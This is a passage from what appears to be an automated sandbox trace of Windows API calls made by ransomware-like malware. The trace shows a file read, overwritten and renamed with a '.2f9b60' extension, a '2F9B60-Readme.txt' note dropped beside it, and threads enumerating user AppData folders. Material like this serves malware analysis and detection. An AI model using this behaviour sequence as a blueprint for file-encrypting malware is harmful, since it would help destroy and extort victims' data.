Seed=0x2c09fb70) returned 0x6f250468 [0154.392] RtlRandomEx (in: Seed=0x2c09fb70 | out: Seed=0x2c09fb70) returned 0x4b14abc5 [0154.392] RtlRandomEx (in: Seed=0x2c09fb70 | out: Seed=0x2c09fb70) returned 0x4991aa2a [0154.392] RtlRandomEx (in: Seed=0x2c09fb70 | out: Seed=0x2c09fb70) returned 0x7968fdb3 [0154.393] RtlRandomEx (in: Seed=0x2c09fb70 | out: Seed=0x2c09fb70) returned 0x51650ed4 [0154.393] RtlRandomEx (in: Seed=0x2c09fb70 | out: Seed=0x2c09fb70) returned 0x473933bb [0154.393] RtlRandomEx (in: Seed=0x2c09fb70 | out: Seed=0x2c09fb70) returned 0x17729b68 [0154.393] RtlRandomEx (in: Seed=0x2c09fb70 | out: Seed=0x2c09fb70) returned 0x722841e8 [0154.393] RtlRandomEx (in: Seed=0x2c09fb70 | out: Seed=0x2c09fb70) returned 0x3653988 [0154.393] RtlRandomEx (in: Seed=0x2c09fb70 | out: Seed=0x2c09fb70) returned 0x3ad6da65 [0154.393] RtlRandomEx (in: Seed=0x2c09fb70 | out: Seed=0x2c09fb70) returned 0x2c310582 [0154.393] RtlRandomEx (in: Seed=0x2c09fb70 | out: Seed=0x2c09fb70) returned 0x3f77529 [0154.393] RtlRandomEx (in: Seed=0x2c09fb70 | out: Seed=0x2c09fb70) returned 0x7301a8f7 [0154.393] RtlRandomEx (in: Seed=0x2c09fb70 | out: Seed=0x2c09fb70) returned 0x5407dae8 [0154.393] RtlRandomEx (in: Seed=0x2c09fb70 | out: Seed=0x2c09fb70) returned 0x40c4dfe1 [0154.393] RtlRandomEx (in: Seed=0x2c09fb70 | out: Seed=0x2c09fb70) returned 0x751b8268 [0154.393] RtlRandomEx (in: Seed=0x2c09fb70 | out: Seed=0x2c09fb70) returned 0x2f0b0d0d [0154.393] RtlRandomEx (in: Seed=0x2c09fb70 | out: Seed=0x2c09fb70) returned 0x1c5b61de [0154.393] RtlRandomEx (in: Seed=0x2c09fb70 | out: Seed=0x2c09fb70) returned 0x78c542d8 [0154.393] RtlRandomEx (in: Seed=0x2c09fb70 | out: Seed=0x2c09fb70) returned 0x662f77bf [0154.393] RtlRandomEx (in: Seed=0x2c09fb70 | out: Seed=0x2c09fb70) returned 0x6ff9735c [0154.393] RtlRandomEx (in: Seed=0x2c09fb70 | out: Seed=0x2c09fb70) returned 0x57efd9b1 [0154.393] RtlRandomEx (in: Seed=0x2c09fb70 | out: Seed=0x2c09fb70) returned 0x7733ff93 [0154.400] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd97d0 [0154.400] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c4c0 [0154.400] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9800 [0154.401] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c4c0) returned 1 [0154.401] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd97a0) returned 1 [0154.401] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f56b0) returned 1 [0154.401] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1d90 [0154.401] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c4c0 [0154.401] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f56b0 [0154.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f56b0) returned 1 [0154.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x427f45f0 [0154.402] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x427f8200 [0154.402] ReadFile (in: hFile=0x1314, lpBuffer=0x427f45f0, nNumberOfBytesToRead=0x3a18, lpNumberOfBytesRead=0x2c09fb70, lpOverlapped=0x0 | out: lpBuffer=0x427f45f0*, lpNumberOfBytesRead=0x2c09fb70*=0x3a18, lpOverlapped=0x0) returned 1 [0154.403] SetFilePointerEx (in: hFile=0x1314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.403] WriteFile (hFile=0x1314, lpBuffer=0x427f8200, nNumberOfBytesToWrite=0x3a18, lpNumberOfBytesWritten=0x2c09fb74, lpOverlapped=0x0) [0186.476] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9b30 [0186.476] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9b60 [0186.477] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9b60) returned 1 [0186.477] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x427f8200) returned 1 [0186.477] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x427f45f0) returned 1 [0186.477] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c4c0) returned 1 [0186.478] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1d90) returned 1 [0186.478] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1cec9b60 [0186.478] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1d90 [0186.478] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c4c0 [0186.479] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9b90 [0186.479] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9b90) returned 1 [0186.479] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1cec9b90 [0186.480] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9bc0 [0186.480] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9bf0 [0186.481] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9bf0) returned 1 [0186.481] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c4c0) returned 1 [0186.482] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1d90) returned 1 [0186.482] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10c) returned 0x43101260 [0186.482] SetFilePointerEx (in: hFile=0x1314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.482] WriteFile (in: hFile=0x1314, lpBuffer=0x43101260*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x2c09fc90, lpOverlapped=0x0 | out: lpBuffer=0x43101260*, lpNumberOfBytesWritten=0x2c09fc90*=0x10c, lpOverlapped=0x0) returned 1 [0207.200] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0207.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e990 [0207.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0fb0 [0207.201] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0fb0) returned 1 [0207.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x42ac0fb0 [0207.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0f80 [0207.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42ac0ec0 [0207.202] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42ac0ec0) returned 1 [0207.203] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e990) returned 1 [0207.203] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0207.203] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1ce5d030 [0207.203] sprintf (in: _Dest=0x1ce5d030, _Format="%c%c" | out: _Dest="7d") returned 2 [0207.203] sprintf (in: _Dest=0x1ce5d032, _Format="%c%c" | out: _Dest="e3") returned 2 [0207.203] sprintf (in: _Dest=0x1ce5d034, _Format="%c%c" | out: _Dest="05") returned 2 [0207.203] sprintf (in: _Dest=0x1ce5d036, _Format="%c%c" | out: _Dest="4f") returned 2 [0207.204] sprintf (in: _Dest=0x1ce5d038, _Format="%c%c" | out: _Dest="11") returned 2 [0207.204] sprintf (in: _Dest=0x1ce5d03a, _Format="%c%c" | out: _Dest="99") returned 2 [0207.204] sprintf (in: _Dest=0x1ce5d03c, _Format="%c%c" | out: _Dest="2d") returned 2 [0207.204] sprintf (in: _Dest=0x1ce5d03e, _Format="%c%c" | out: _Dest="55") returned 2 [0207.204] sprintf (in: _Dest=0x1ce5d040, _Format="%c%c" | out: _Dest="36") returned 2 [0207.204] sprintf (in: _Dest=0x1ce5d042, _Format="%c%c" | out: _Dest="46") returned 2 [0207.204] sprintf (in: _Dest=0x1ce5d044, _Format="%c%c" | out: _Dest="2d") returned 2 [0207.204] sprintf (in: _Dest=0x1ce5d046, _Format="%c%c" | out: _Dest="df") returned 2 [0207.204] sprintf (in: _Dest=0x1ce5d048, _Format="%c%c" | out: _Dest="13") returned 2 [0207.204] sprintf (in: _Dest=0x1ce5d04a, _Format="%c%c" | out: _Dest="f5") returned 2 [0207.204] sprintf (in: _Dest=0x1ce5d04c, _Format="%c%c" | out: _Dest="2b") returned 2 [0207.204] sprintf (in: _Dest=0x1ce5d04e, _Format="%c%c" | out: _Dest="ab") returned 2 [0207.204] sprintf (in: _Dest=0x1ce5d050, _Format="%c%c" | out: _Dest="ee") returned 2 [0207.204] sprintf (in: _Dest=0x1ce5d052, _Format="%c%c" | out: _Dest="54") returned 2 [0207.204] sprintf (in: _Dest=0x1ce5d054, _Format="%c%c" | out: _Dest="b9") returned 2 [0207.204] sprintf (in: _Dest=0x1ce5d056, _Format="%c%c" | out: _Dest="4d") returned 2 [0207.204] sprintf (in: _Dest=0x1ce5d058, _Format="%c%c" | out: _Dest="85") returned 2 [0207.204] sprintf (in: _Dest=0x1ce5d05a, _Format="%c%c" | out: _Dest="f5") returned 2 [0207.204] sprintf (in: _Dest=0x1ce5d05c, _Format="%c%c" | out: _Dest="aa") returned 2 [0207.204] sprintf (in: _Dest=0x1ce5d05e, _Format="%c%c" | out: _Dest="e8") returned 2 [0207.204] sprintf (in: _Dest=0x1ce5d060, _Format="%c%c" | out: _Dest="fa") returned 2 [0207.204] sprintf (in: _Dest=0x1ce5d062, _Format="%c%c" | out: _Dest="10") returned 2 [0207.204] RtlInitAnsiString (in: DestinationString=0x2c09fd08, SourceString="7de3054f11992d5536462ddf13f52babee54b94d85f5aae8fa10" | out: DestinationString="7de3054f11992d5536462ddf13f52babee54b94d85f5aae8fa10") [0207.204] RtlAnsiStringToUnicodeString (in: DestinationString=0x2c09fcd8, SourceString="7de3054f11992d5536462ddf13f52babee54b94d85f5aae8fa10", AllocateDestinationString=1 | out: DestinationString="7de3054f11992d5536462ddf13f52babee54b94d85f5aae8fa10") returned 0x0 [0207.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b85f210 [0207.205] wcscat (in: _Dest=0x430fc7f0, _Source="7de3054f11992" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\7de3054f11992") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\7de3054f11992" [0207.205] wcscat (in: _Dest=0x430fc7f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\7de3054f11992.2f9b60") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\7de3054f11992.2f9b60" [0207.205] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\7de3054f11992.2f9b60", NtPathName=0x2c09fcb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\7de3054f11992.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0207.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd8) returned 0x43157360 [0209.396] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43157360) returned 1 [0209.397] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43169d00) returned 1 [0209.397] NtQueryInformationFile (in: FileHandle=0x1314, IoStatusBlock=0x2c09fd18, FileInformation=0x2c09fd28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2c09fd18, FileInformation=0x2c09fd28) returned 0x0 [0209.397] NtSetInformationFile (FileHandle=0x1314, IoStatusBlock=0x2c09fd18, FileInformation=0x2c09fd28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0216.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430fc7f0) returned 1 [0216.263] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f210) returned 1 [0216.263] FlushFileBuffers (hFile=0x1314) returned 1 [0216.267] CloseHandle (hObject=0x1314) returned 1 [0219.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x43111620 [0219.417] wcscpy (in: _Dest=0x43111620, _Source="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\" [0219.417] wcscat (in: _Dest=0x43111620, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\2F9B60-Readme.txt" [0219.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\2f9b60-readme.txt")) returned 0xffffffff [0222.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cac [0224.427] WriteFile (in: hFile=0x1cac, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2c09fbd0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2c09fbd0*=0xba9, lpOverlapped=0x0) returned 1 [0225.114] CloseHandle (hObject=0x1cac) returned 1 [0226.529] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43111620) returned 1 [0226.530] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1079c0) returned 1 Thread: id = 2480 os_tid = 0x1f34 [0154.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b86c540 [0154.407] wcscpy (in: _Dest=0x1b86c540, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java" [0154.407] wcscat (in: _Dest=0x1b86c540, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\" [0154.407] wcscat (in: _Dest=0x1b86c540, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\*" [0154.407] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cec4eb0 [0154.407] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\*", lpFindFileData=0x1cec4eb0 | out: lpFindFileData=0x1cec4eb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9dbb0 [0154.408] wcscmp (_String1=".", _String2=".") returned 0 [0154.408] FindNextFileW (in: hFindFile=0x1cd9dbb0, lpFindFileData=0x1cec4eb0 | out: lpFindFileData=0x1cec4eb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.408] wcscmp (_String1="..", _String2=".") returned 1 [0154.408] wcscmp (_String1="..", _String2="..") returned 0 [0154.408] FindNextFileW (in: hFindFile=0x1cd9dbb0, lpFindFileData=0x1cec4eb0 | out: lpFindFileData=0x1cec4eb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eea3160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AU", cAlternateFileName="")) returned 1 [0154.408] wcscmp (_String1="AU", _String2=".") returned 1 [0154.408] wcscmp (_String1="AU", _String2="..") returned 1 [0154.408] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b86c5c0 [0154.408] wcscpy (in: _Dest=0x1b86c5c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java" [0154.408] wcscat (in: _Dest=0x1b86c5c0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\" [0154.408] wcscat (in: _Dest=0x1b86c5c0, _Source="AU" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU" [0158.480] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b86c5c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13a8 [0158.481] FindNextFileW (in: hFindFile=0x1cd9dbb0, lpFindFileData=0x1cec4eb0 | out: lpFindFileData=0x1cec4eb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1ea6db0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1ea6db0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Deployment", cAlternateFileName="DEPLOY~1")) returned 1 [0158.481] wcscmp (_String1="Deployment", _String2=".") returned 1 [0158.481] wcscmp (_String1="Deployment", _String2="..") returned 1 [0158.481] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x2050aad0 [0158.481] wcscpy (in: _Dest=0x2050aad0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java" [0158.481] wcscat (in: _Dest=0x2050aad0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\" [0158.482] wcscat (in: _Dest=0x2050aad0, _Source="Deployment" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment" [0158.482] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x2050aad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf70 [0158.483] FindNextFileW (in: hFindFile=0x1cd9dbb0, lpFindFileData=0x1cec4eb0 | out: lpFindFileData=0x1cec4eb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jre1.7.0_45", cAlternateFileName="JRE17~1.0_4")) returned 1 [0158.483] wcscmp (_String1="jre1.7.0_45", _String2=".") returned 1 [0158.483] wcscmp (_String1="jre1.7.0_45", _String2="..") returned 1 [0158.483] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x2050a650 [0158.483] wcscpy (in: _Dest=0x2050a650, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java" [0158.483] wcscat (in: _Dest=0x2050a650, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\" [0158.483] wcscat (in: _Dest=0x2050a650, _Source="jre1.7.0_45" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45" [0158.483] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x2050a650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf74 [0158.484] FindNextFileW (in: hFindFile=0x1cd9dbb0, lpFindFileData=0x1cec4eb0 | out: lpFindFileData=0x1cec4eb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jre1.7.0_45", cAlternateFileName="JRE17~1.0_4")) returned 0 [0158.484] FindClose (in: hFindFile=0x1cd9dbb0 | out: hFindFile=0x1cd9dbb0) returned 1 [0158.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec4eb0) returned 1 [0158.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c540) returned 1 [0158.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8688c0) returned 1 Thread: id = 2481 os_tid = 0x1f38 [0154.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1ced2b60 [0154.411] wcscpy (in: _Dest=0x1ced2b60, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat" [0154.411] wcscat (in: _Dest=0x1ced2b60, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\" [0154.411] wcscat (in: _Dest=0x1ced2b60, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\*" [0154.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cec5120 [0154.411] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\*", lpFindFileData=0x1cec5120 | out: lpFindFileData=0x1cec5120*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd6e27e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd6e27e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d5b0 [0154.411] wcscmp (_String1=".", _String2=".") returned 0 [0154.412] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cec5120 | out: lpFindFileData=0x1cec5120*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd6e27e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd6e27e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0154.412] wcscmp (_String1="..", _String2=".") returned 1 [0154.412] wcscmp (_String1="..", _String2="..") returned 0 [0154.412] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cec5120 | out: lpFindFileData=0x1cec5120*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe5b04330, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xe5b04330, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0154.412] wcscmp (_String1="10.0", _String2=".") returned 1 